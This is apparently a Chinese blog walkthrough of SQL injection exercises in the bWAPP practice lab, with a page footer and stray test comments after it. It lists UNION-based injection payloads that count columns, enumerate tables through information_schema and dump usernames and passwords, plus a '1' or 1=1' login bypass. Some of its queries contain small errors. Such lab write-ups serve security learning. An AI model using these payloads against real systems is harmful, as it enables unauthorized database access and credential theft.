Loading... <p> 单击加号即可展开</p> <h2>SQL Inject</h2> <h3 id="elementor-tab-title-1501" data-tab="1" role="tab" aria-controls="elementor-tab-content-1501"> <a href="">(GET/SEARCH)</a> </h3> <p>先查列数,1’ order by 1#正常</p><p>1’ order by 8# 错误</p><p>1’ order by 7#正常</p><p>说明为7列</p><p>然后进行注入,</p><p>1’ union select 1,2,3,4,5,user(),database()#</p><p>输入后只显示数字不显示内容</p><p>Title:2 Release:3 Character:5 Genre:4 IMDb:Link</p><p>显示2354,将user(),database(),version(),放到2,3,5,4,的位置</p><p>应该为</p><p>1’ union select 1,database(),user(),4,5,6,7#</p><p>然后显示的就是数据库和用户名了</p><p>接下来开始更深层注入</p><p>1‘ union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=’数据库名’# 查询到表明,然后查询字段名</p><p>1; union select 1,table_name,3,4,5,6,7 from information_schema.columns where table_name=’字段名’# 查询到字段名,然后查询列</p><p>1’ union select 1,login,password,4,5,6,7 from bwapp.users#</p><p> </p><p>查询列完毕</p> <h3 id="elementor-tab-title-1502" data-tab="2" role="tab" aria-controls="elementor-tab-content-1502"> <a href="">(GET/Select)</a> </h3> <p>这个用BP抓包注入无效,需要在url里面注入,即浏览器url注入</p><p>通过movie=2可以看出可能是数字型,</p><p>要让movie等一个数据表中不存在的书,让他报错,需要在movie=1改成movie=-1,肯定不存在的。</p><p>然后查询数据库,获取数据表,</p><p>先查列数, order by 1#正常</p><p> order by 8# 错误</p><p> order by 7#正常</p><p>这个神奇的是#可以加或者不加都可以注入的</p><p>接下来查询数据库</p><p>movie=-1 union select 1,database(),3,4,5,6,7</p><p>查询到数据库为bwapp</p><p>然后开始进行数据表查询</p><p>movie=-1 union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database()</p><p>发现显示的只有一行,我们要用group_concat()函数包裹住table_name</p><p>然后就可以吧所有的表都列在Title栏中</p><p>利用group_concat()函数:</p><p>union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database()</p><p>然后找到users表进行输入,继续使用group_concat()函数</p><p>Union select 1,group_concat(column_name) from information_schema.columns where table_name=’数据表’</p><p>查询到数据表后,然后查询列</p><p>union select 1,password,admin,4,5,6,7 from bwapp.users</p> <h3 id="elementor-tab-title-1503" data-tab="3" role="tab" aria-controls="elementor-tab-content-1503"> <a href=""> (POST/Search)</a> </h3> <p>判断列数,</p><p>1’ order by 1# 无回显内容</p><p>1’ order by 8# 出错</p><p>1’ order by 7# 无回显内容</p><p>确认列数为7,然后进行注入,</p><p>1’ union select 1,2,3,4,5,user(),database()#</p><p>输入后只显示数字不显示内容</p><p>Title:2 Release:3 Character:5 Genre:4 IMDb:Link</p><p>显示2354,将user(),database(),version(),放到2,3,5,4,的位置</p><p>应该为</p><p>1’ union select 1,database(),user(),4,5,6,7#</p><p>然后显示的就是数据库和用户名了</p><p>接下来开始更深层注入</p><p>1‘ union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=’数据库名’# 查询到表明,然后查询字段名</p><p>1; union select 1,table_name,3,4,5,6,7 from information_schema.columns where table_name=’字段名’# 查询到字段名,然后查询列</p><p>1’ union select 1,login,password,4,5,6,7 from bwapp.users#</p><p> </p><p>查询列完毕</p> <h3 id="elementor-tab-title-1504" data-tab="4" role="tab" aria-controls="elementor-tab-content-1504"> <a href="">(POST/Select)</a> </h3> <p>这个使用BP抓取数据包进行注入,无需在浏览器url注入</p><p>通过movie=2可以看出可能是数字型,</p><p>要让movie等一个数据表中不存在的书,让他报错,需要在movie=1改成movie=-1,肯定不存在的。</p><p>然后查询数据库,获取数据表,</p><p>先查列数, order by 1#正常</p><p> order by 8# 错误</p><p> order by 7#正常</p><p>这个神奇的是#可以加或者不加都可以注入的</p><p>接下来查询数据库</p><p>movie=-1 union select 1,database(),3,4,5,6,7</p><p>查询到数据库为bwapp</p><p>然后开始进行数据表查询</p><p>movie=-1 union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database()</p><p>发现显示的只有一行,我们要用group_concat()函数包裹住table_name</p><p>然后就可以吧所有的表都列在Title栏中</p><p>利用group_concat()函数:</p><p>union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database()</p><p>然后找到users表进行输入,继续使用group_concat()函数</p><p>Union select 1,group_concat(column_name) from information_schema.columns where table_name=’数据表’</p><p>查询到字段后,然后查询列</p><p>union select 1,password,admin,4,5,6,7 from bwapp.users</p><p> </p><p> </p> <h3 id="elementor-tab-title-1505" data-tab="5" role="tab" aria-controls="elementor-tab-content-1505"> <a href="">(Login From/Hero)</a> </h3> <p>万能用户1’ or 1=1 #+</p><p>深层注入</p><p>使用浏览器 Web Developer插件进行注入</p><p>万能用户成功后,会显示Welcome欢迎字样</p><p>然后点击插件的Load URL进行url导入</p><p>再点击下方的Post data导入数据包有关的登录信息</p><p>会看到login=….&password=…&from=…</p><p>然后在Login里面进行注入</p><p>先测试列</p><p>1’ order by 1#+ 显示失败信息</p><p>1’ order by 5#+ 显示错误</p><p>1’ order by 4#+ 显示失败信息</p><p>可以看出为4列</p><p>然后进行查询数据库</p><p>1’ union select 1,2,3,database()# </p><p>显示数据库为bwapp</p><p>查看回显信息可得可用为2,4 ,所以要在2和4这两列注入</p><p>然后进行数据表查询,要使用group_concat()函数进行数据包裹</p><p>1’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#</p><p>可以看到表了,然后进行进行字段查询</p><p>1’ union select 1,2,3,group_concat(table_schema) from information_schema.columns where table_name=’表名’#</p><p>然后就是</p><p>1’ union select 1,login,2,password from bwapp.users#</p><p> </p><p>注:查询列也可以使用group_concat()函数</p> 最后修改:2019 年 04 月 03 日 08 : 34 AM © 允许规范转载 赞赏 如果觉得我的文章对你有用,请随意赞赏 ×Close 赞赏作者 扫一扫支付 支付宝支付 微信支付
123
位置测试
dawdada
wqefad
dasafssfs
。。。
test
rewadsvfsaerFAVSD
是http不是https
...
后注bwapp该应用程序包括100多个非常流行的漏洞(可在此处找到所有漏洞的列表)
www.mmebvba.com/sites/default/files/downloads/vulnerabilities.txt